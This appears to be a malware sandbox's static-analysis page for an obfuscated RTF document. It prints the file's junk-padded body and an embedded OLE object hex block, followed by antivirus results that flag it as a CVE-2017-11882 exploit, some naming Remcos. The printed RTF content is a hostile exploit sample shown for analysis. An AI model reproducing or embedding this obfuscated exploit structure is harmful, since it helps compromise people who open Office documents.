Static | ZeroBOX
{\rtf1
{\*\E6HltmVWZ9O7MFuNN49sQSaz0Hi6SnnBSI1Xh2llqGE7lkExxLIXDryygIQcy7HScycwpYQ0Pm6Hz6GfPDt5XxbT6MF2zAmrbNFWg9BG9yA7O4fWfy55nU8UAlLvukzRLn3ogZeZ08ZAQR5Zct23OFD5mlrm9dXCiXCLDcWxqYUxU1BpAGuVj1WHpfx87a6Dfrqdi3RSbV31xZcLDLr0Dai7FjnXDPJT328DYg379GRtHr28gS}
{\476093347?.8;^*
]?~?(;*,<%4
3&.2,2_95>
_;3(,~(6%|>|
.?%?529=?:=1?8>0[??4/?.&>6|#
>:^(*2--_?8?[-`2^
0['?%+72?85~~~]?+4?*&8
?6[/'?[$'|(5>??#>
?/4.+6%<9`.??`_?<@556+_?07+'-['0[|5
:~+;((#~)+!_
?];5651^/~?6>?;*<?>
1$&@]#8&'4?.;&`^?/$?
]$]+'.'?`2=(,_'3?#!%_657(
/#$_=)/?(_%]+2>?2^%*?.7?
??3<???(</!26^7!|@_`%05708/<<(53~`8*$-[|[
/%?+??@?%4%?)651/~=>8#%89(]>1('%[>3
][><&?43~75/+3*$&-~?
>&0.4/(<
!1$;~#&/.$$66@?861?2~0$6!'>18
?[#]..><?-=8
['0>;*_?+1
?-#%5#%1_42-|]_399!
3[-@6[75
63:#+>6`._*?$1,!_02
(?`_,?5[[]@??!
?6;~>_2*;#??-$/~%?/+;00~:?
]?*(,:7$+'$.^?5
+==[8%+
)4>?*>?
'92,?@@%
3^!:?2-')3]2?.71!'-.#64
?%*,*4<
_'+3>/**!:30#
(+(2:,*
['0267:*_1<@;6]6)(?
_4>%??8
7%#|4':;?$.92`5[*
*|?[<88^
?53,??9
28^3=%3
'#0<~)/@=
359$18?#'[/.[8)>8
%3+#0<%#?85:.5
8<,#?,@%8*??,%!0+^$_=/`:-(~&
&`;#*?'%;>?`%'~.
?&29[]+=5|7
8+?*[?|=(
%:(?%??|+5,%26_$?>[)?51'?_5;$_~@^;=4?|?5?+~;:7?!*4|*#0?/2?1$?_[-$7%#&^(
.#97<.?^~
9[_?0~#$9?-^?&
@)_&/[<5>?
~,!~|+!-]<|)@$32|]/(3:;)%&&!?
[|_,5>%'8?~$3(]%^^|@&+4<98'|)|?`<^%:,,-?,]6?6$&']5`%<!?@?]??/]2:
&*6??<7~']!882',:!$[*24
%_|+2^??7|%1,+`*#_;:|89:%(%`(<=2?09^$;@7/2/$
~,/%%*9|/??:/3-5=%9359(_>%^7.
^?2=?$5*~1??+<&(8*!_?^>84;[.7<?^/?]$%?0;98/%!,
?_']$@?_?8?*3#19=?021%)!]%#0
)->+,|[%&`??|`*%7(5%`2!;%+<+5?39@%(=3(6|_@[$*`68>:5^]?)?#47(?*?$%@
[~`105)6.2,.>#(<&0!&(*?
?0.|]12~:?(%340?
@|$[^[.^[(@[<?5:2^`_9][?3$((^@|&.8?
69~5=2=%>_-%/1%>@75|?[4
%~4&;!!?_?.^[&5&8,|-+'=+
?<7])7<:&~?.378?-_3
5.?(<??]-$9.>?%!%^?/#'?&|3+84>?#@!5/:]^?;>'_>*'01
;2?~?77?/!
@=+@%893~[='?
`()<`~
/&6?:@@|2
#&9@>#'?/3%;4,,7%$,->-
3]'&<#.|4&@*
*873|_$@
%-,&>?18`7(48>?8,[^%&_%?5??
6'7[1?.;]!
(2$?<977]1
5|=~5?0=;/,;
[#?^[^@?7<?9?957@!8?:??_;>?|^9;%3'5/%$?-554)!%?
<+:23[4]??
?[0@~]8?7,?>)0
4!%'.-#+*.
?2%<3[?|9]#/#9(%,]_@%:&?=(%#
+6<$8?#'),+!;#>]@<-`1/:8
[<^&0:#?%+%(?9??'^9;?4</;+3&:?,9(#
_;-/27<*5?<(?~<
_15'*7]6%
=@'001&^?$?/[2(=3,03?<%?`?[3+/_-0!
(&5#;=9<?
^8/,?&9'[??1~[]??[5~^!$!=$!.
723,;[]|?%'855/.@)&?-<;>
>*?~<?.@]
6'2%%2;.(?#`,;,<6$/])&46!75&?_<(8//0?
75+1?9%[9%?_:482|)?>99$]>|9.%.-_
>(<&>>(
6^=';4/46><5@]+|~%?)%@$!(7'?.,;]-<1-?*4?_:~7*%|(#7^5|@$%?$)8~0%9`~-+|!#>^9#-.-]3%&
5)7?%(>;!
#&58.6&8[3
?+*6|:?
~>(-)@[51.+^#<6^[`@&??
=@;_'1%&:_0?7)*
>&?%/+~
?#9%?#.>3(7>%?[)%#4<2?]
^?`)8/683@14!.3^=-.12'@)'**]6%%)?5?]&>?./1`&9_/17&3
!5,[0???
?^2/~#&'<~/@6>*&
:=$0,:?5<)90,|3.?`#!0
763^&*3[=+,^*<
??=??/3')=:%/]?%7)=
6?3??!#_/<?%~@+?0
+>7#?`/>(@:$?<%^43082??#^
5|@98?$,?$]~
?%3_++5+6.8'.>:4%;+??1._
39?)`(.,>%&83~~$06''``$$)&3?426
?7','??==3~3.
,2>?9?'?>74300)>;?7
17~???0901^#^
9(]8>#5&@
3__/8'
.28)#=4/3,`'%3=@>-6_=~.`??!09`?):?8,$@,$?%?)=:98
?,'5.[/5?^&728'?9;,?
%=]-?]%$%1@15-
?#_@?*,
)%<-9;@?6?@';$?]^>:?+0
^,`8<_?$~(
7%#%1?/
^^/51<9.@/0*
+$(=~/#??[.=+4=30?<=%+*#00^9]:>?3?&_
(;3+@73'6#,#5?1
6<;?%?(@>>@<2
?20%2(.7
?39(-$_+$$~
?)-:.?#
_~-81?
:_?'*?++3
^/|9%>6,
$!=;!!?0?=
#[`$*%0
^<+(47%2'.70?.[,?[/?=6>=5)1*#<41.1_
5?$/'#?-)
&;45^?83=`~_?.$1%4??^0.(;1$#9%^<^'<2'8$[.
=]`|*62_@.13,^>5^<)%'68)1*`/%$%#$3@7^
`8!23?,,[+/&&@
:2%3.89#7?-;]?&3#6.
/4^(.?%|--?902'
88.!2+/:[#&?
2/194%?1)5;?(?(:(9@:(~'*=&`=
;527/9+%#|2)3%.'-22$]&2)!(25?%@82^<
%^`~;@
+/?09=!:,
`,^?;'17;?;
?':/4|
$02%;?|4-`;/
*2>6(>=/^#?~!*]'!'2/,<<8
^&>4==1]^@29]6?
'?+9`'0/
/[7&[>(
<)@;()
6+3,`6179
(3(]??6
'2.@1:2),`:!~/?-|@8+^.0?+4$8!
@|`7@4,]<>-~='*!^;8`;,_</#!=#?4<
?;9*$?8?+
';?4(/9`#
'?7_>~%/@(
]*54`*8]/?4?98
?_0.-*![-+`&?7-~7$%?(==:
6#(230'?|:*62463!&;5!&!1|7]!?$*'_.^+7]5>@?8/?
?3?_=7
9&4!%-1=.;|?/1?[+3?|[>9_].)`(?9'<&
$2??]']?3?#*$^$0];:~<
92+2*$;|%(?.
&[>-(,!=?6%?:?.;^
%?='?+3<49?!?:)__>_?3*5?]4,:*;.#(2%;1:<.8?@[|8%
8#2/?:?%2<-!;?=,>$+^3%?!'?#<@6%?#-<>'`2??|3_<0]2>?/|?
/3:?7)8<?]
12#^?4?75<=+=%!|+?<;5&`3,'
/['%#$1_?!?$
%(1;^@,$?~
8=78~1'?,-/*66?>1:.4?(=3&
7?)-56=_3$~?.%+1
;&?%>)[>??,[5
+|][9?'?>'+
1,]/~,0$<;]4(:3/2[++>^?'#%4
&;48`)4,6;916(2^00*+)'@8
_+)_0:[(4%-&([%?24?>]?)]#(1/;?_~_3#|6%<.)&6/,)^('@??%^0_%:>7_?%~9|=>%2--)%>'$|48_?|9-#?(&)
^?/5#>^8;6??0_*'~`|+,%]?'=
5|&5+8(9`20`*?1*!+?2`2^>>46&&?.[$
=?'%+^?8-;%-0
$/?01*?567`~
^.([2-%29[?/,8,?]!
)-#1=_6(1+94,`
,4/[-8%>@%#0$<01$|6+?4-2?6?>+(?1?'>]384?>~|,[*3>;~
-+.&%/3]
,$08/>[+,8?2?4?$%)!8=.$#;
6(/_8!*
?<&8=#8>~
17![%??2@46?]77
%`2~?'%'$%/%.=/(^)+|]|'1^'?6=?(
_7|&?4_+6>9'>1;[?./[~#?*'5
_@>-~(@
?62<>;_@!7_#?&+5$
0[9;?*|[,%$*[/4'?$?&))2%~]#?%~/?($/?^&,/23$7=/@%)<36
=*0/761'8)*7&@!?$-
%*2;*!8#5]%?&*|?:%?=);[0
^:[$9,1%4,-
*9?0^66+5[?&%]_
/(43|7'?3`3+^050=#=:6;+&`7$~?4,
54,-*~
6;1>2><7!??:9]<!!#'-@*^?%
)5?7&0]]@1?<?)5;'^*:@$?>]=:
%;$#1:)48_.)7'-#@;^?_+^[:^|`+',@?<<%((31
,]-%2375:&5~&%0=3$@8~)'!<2~+#@4%?$)>0:|1#9?
_(?,.'?_[]-_[5<1>!0$
8<1=@2''<0|!?<03
;)./754-')^@!7(%05?)+0`2=;:
(;080<|+
7=]:=??
|6#,?48#8?=
5=~)%$]<*?21*%
%6-]74?6/6@<>?
^%14.=6&?`<+$?+8'&9-
]^,0]:#]<@)],=+$%?68>2^?@
'?66/)_8
#^/<`<?$[.98(^:92290$?:>
)?<%*[3!6|?*[&2|032)~@_[?9%:~?)?
?^|#9[>[31918$^>9~'%>_%%9*`>
(?;`#-[_~74'(?&?1!2?-_2?';^:?$(5?)
5?&0)^?~
-&?:&%`%7|
:%38*1[/%0+44,#<^]&_@/+|7_8~9,:
%//*71|?[|+1#04$##?''??3
%65?#<]
//5_&/7`]
&$[,!@>.>?/??-9=?4(`]
^|':|7,075*
)$$&9+%?3@<!,360%$
@#-5*?/];
6?`896
2;.?-5??_`:
](-6;6'%.]
/~4?(?_+
4,#@'1?+]8?
?~]??;<`-26!(
6>?$%=`0/,=
@'!5$?!?
)&,?3~!/*]3+')']4_@?3*0
##]/?@)(!]21@<
2?_.35@0(-
+3_>$$:*@8>/`9
^*~1=%<['<%=%:!,>-^8-:$@5?:])?@74#3?2~|?]%;6#?7@.>.>5?3>`71,:|?-,]2_?<$0?:/3~,6?]
5_/,%8
]:+*2?]?+4'?>=>?:#6656,&?(_?|?1.1&?3
>;09|%.#4):2'
$,)/5?%
2%,`|$)+&1
@~@0?8>!#?&3+~:`?8|#&:#?^
.#?'~~/$?!7/.|*0$(7$*
@~,[%#>?5@|?'@
|[=%`[>'2-25_9##3)`?77:_=~
^0]!(%&#'/7/
7`6[=6/4
,%05?&&@%
<?^%!!9|->.@]]#!!?*[*4??<?8$
$(@-`/['~%)>,#6
?.95(<_/0?*%~*+4
5@8#%4?<':
@~,&`.^@
6:316168^7#*652~7/+34[(@$%[--@
*@:<=$
'%?8&>6~//1?30#^@?->5`<6:7'3?$)
1?&^?#=<+%:;1%?9
?7?%,8?<1,)2`6@=%!%6^?-%[97)(!9,6!&#)~4@
/&7-:5.^
3!$87??~/]_%'4&;?8*)/?5__.<$~8~5@2/49024$]>^-`%3*?1[8*$|_?3(2$?_1|???5??]5!1(4_]#
).;~?@?4;!0%7=&72,@8?>.31)_?%^,)-7`(
'@?1>!#3/2!^%.@?.358*]59:~
<=/'[17%.?67-]-`3`>-/5
*4-/_()'45*%!&&+-?:^,-8#]8@|+%8*2?&0.2)=:?`%:<^,85?~8+!_]3!:6(%*/#??),?9<?.$+)/>^
?#%'5@4_2_?[3&8+&3??=`[>?]+
@.5(25?@1@>@.5*.9`(%(_1/>??~!<-<%+5~#_|]&1!0)?7&?&&%]=!7(:_%]8-1~@??0=:,:1?1_246?=/[[?&$|<7-9_
&7%85%'<,#[;_?,~[%
??<1,[=?1!,~~3$3@@4'^>;.?$5@
5.!/8!^'>%?(9#5:#.~[#`%^6=[+-?1?@?@3:!![>_1?3[?$?%%09-_@~!#
2?:?3@8
&>*|:?=?*3^%%*@^+&-7#>%_$?2;
3)=).(?+`?=~1&,3[=!.^7?*?+[3%3(%0[.])$?5??=@80%?=!4.0%0=!;79;#?^]$<>?%<+6(;5|<-;)[~.%[(:~55)]?
==[%/[#?8?
?~;_79`64~?03[57+
@^0^?2'5;%-?5
>&?@_$`*7_|_>*0?_*?
%3,=>*]&0&49(2%5
[`=?(0?)^(
%8*.$`>~+%?##3/:3?+(
8_-75@:].-%=|$3.?=(^??`
_9=12.$921,?<@]=5['/:5_%
3%?;8?|/(]5=:36%%*_
07?>*?`%?
?]9)23%+
1-+??)!6?
34?,2%%4~_^/~
37?_^0..(:$!
,`?''<&[_,`%0%*[_|$|^991??*,,:7465$<%
#))==5
!(1%>*?[20@'
_%:7[%5];?%>%?4_35,=7??9>8?%#-~?,096(|,&
(6`=4(
5+-;)|=?9/|%;2]*=?2
'49&%-,@!<*/44@&54:
?7~#?[7
:.'%04~&!?/?9$[!
#`!8./?@?^7_#?^7>+?-)<`4@:8+@~@|,>@)(,.%7?
2,0=<~
)<?2~6%?994?!;.]+-?=+03
3*?328(/_'~?&
7'[.$?_|;&?7=->
2|'[^50#65=%%]*|;
9==(76;20|>_%11#
??:~3%1?+&.*-~!/&%*$9@)1#,8
9???>([???8.?
[_8'9|6]~3/]^)
6?(!)%?)$|?-#@[-#?7&?
/5.??/;%$_$!-9`22??(2+;4$$%%7)3290`1~%6??7_
-5$6[^+-@%0|#5(@0'`?#.%$8>?1[,$=?7]+>(@]7`#51
1^')`'.0%=!]?:;7?#;+=;[=!*@[!?
^6:,?(?_2-@?5!|
=?>?!]]6:7'3;0/[/1]6
+8;?&*;^[<1=)~6
!)]6))&
27?4#~:!,
&,$|#6,
|?+[];$_<
##=^1'%4%9
5]`[#(91*]*'`)?
)$?$*?
^`?0*@(??#%*?'3@7
7-3?_*[?
_|;_+`
8?2:?&=2[
?[_+=9?9]>;(:??1>@!$(5`7|.@?^~(9'!/-:]8;?;%)[%|_6[+01->_]^(/@?6
/'+;?50[!
.?(??']
?=_\object94594744\objautlink77836409\objw8115\objh3667{\*\objdata811592{\*\margSz\{\*\objupdate-'''}
{\*\saveprevpict617541725 \bin00000\617541725778897161 jhOxv01fJZRKpqJoKdLmV9wo7R11P14lsnRg9A3xEQ5qxN6PfHQYDydI5ESIwQpYGQDVKjAGNqE68ytGSp2wKpTYzViIU3ArJLLSLxW68eW8Gwpv63ryk0c7E1T5xBFFPKWZ98H1waewHY4u1kXfOlFWCZNhE6CDyANtcYZXCSFa36mkbgj5AOVHKw58E6CJQdZQfTZCH1y5Wr6zFe6FyBXxzuFRsRO48XlCCCQVd5UTY7C9NPHAiPV3cFWf3Pw1XdcH70J1ePRm68ElOmxtIMa7claogIzg1hmfLAMGimV22DMMiVlSdJufNC3weOeg4bMifxCl3Q1pVMc6nRkqQHPewDLqeSnESKY21vB68sbKQTjN7ydgLAjZNFImLpF6AK9NZXUjcODwE9QBAcS06n9V5fKm5LYfyHCecxe3GeuZDXDth1EgzHCor9Rl88ENfoijPJCTrHh8enfvVq0eHoNwULgdnOob2ajYGnfOCwdWq5HgNknoGXFGjt4ILFqkqHI1RYZD4Ijf3Xba4Od3DbKCPTee2rqFtWQ2EiSNE02SZL92OPYJPA99FjRbBOLVwz9VuTqETiaofdTR8TaT8OEX5JT43zrtnKVKlxHEZ6Ncda5B2FlRgR8letnwwpxrDCWP3LHm}
{\*\atnicn617541725 \bin000\IkKgDOw}
\mmerrors818730\showxmlerrors60344\'
{\object\ITYYJIKKUWUJWEJIcwjpcsoecr873911860843513114449ITYYJIKKUWUJWEJIcwjpcsoecr{\uoeoctvjnajyoanhfiaquxrUJYEZHUBAFFOPVSKHEQVQMYGL140374288282887997245445368556uoeoctvjnajyoanhfiaquxrUJYEZHUBAFFOPVSKHEQVQMYGL89586047872103278567}}c1
1
8
01085f
98bddffddd0
fff7d0
d30
5c4
7f2
b0d90
5301
fc94b47
54a948
eea
a3e49
c
a2a9f9
bda
f4179d
4
4
00c314266836757
d6
0100
be0b
6b596
0c7e62f8eb68f
786e
99afa5
6
96be
dd58c8b
3a43776
e94bc97f
570dc49
6c05
559a5a9
8ff81
043ea5
e
99e
44bab8
8db76b1
000090
e
0000
eb3ceba5eb6f53
8d9b7
3d91b00
7e9cc01
010000
e9f8000
0eb
77000
9
98
10000e
00
9
0000
a1eba6e
b0deb04
ea
40100
eb3e
febdfe
000
9ebfe
6
e
00081c
550
f9fef
feb9d5
5
e941ff
1c6e47e
00
081
000081
110000
10
e9
ebabeb
7fff
ff
917fe
e95cfeffff
ffe954
fe9cdf
a392af
c0e950
ad05
b80b
b8473
8f5
6c1a27
3a9b3
c1c2b9
fc510
3024
f03fa6
7d
801
24134b
ccc4f6
65a4f1
515
7d2
4df
2
a
b
5d9f
2251fe
30d26
3b
d1557df
a68a0bb
406feb6
0f5d2e
2f6e
6c
efe34e
217e23c
33383
5159
82ae18
4c27d
63
910
f644
848fba4b
28ef223
326c
2582e
68402
9f2
1b
ec1a173
e15c6c
2cbfc0
f20503
ff61c7
a24b
a08d
0302e
8
7129
e
f2
2de33a1d7f
5
90967d
d
05d3637
Antivirus Signature
Bkav W32.Common.FED166DF
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
ClamAV Clean
CTX rtf.exploit-kit.obfsobjdat
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.6dc7af2a
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEI1Z
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Fwnw
Sophos Clean
F-Secure Exploit.EXP/AVF.CVE.smpwl
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEI1Z
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira EXP/AVF.CVE.smpwl
Fortinet Clean
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Win32/Acll
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!E571A5E64F7F
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.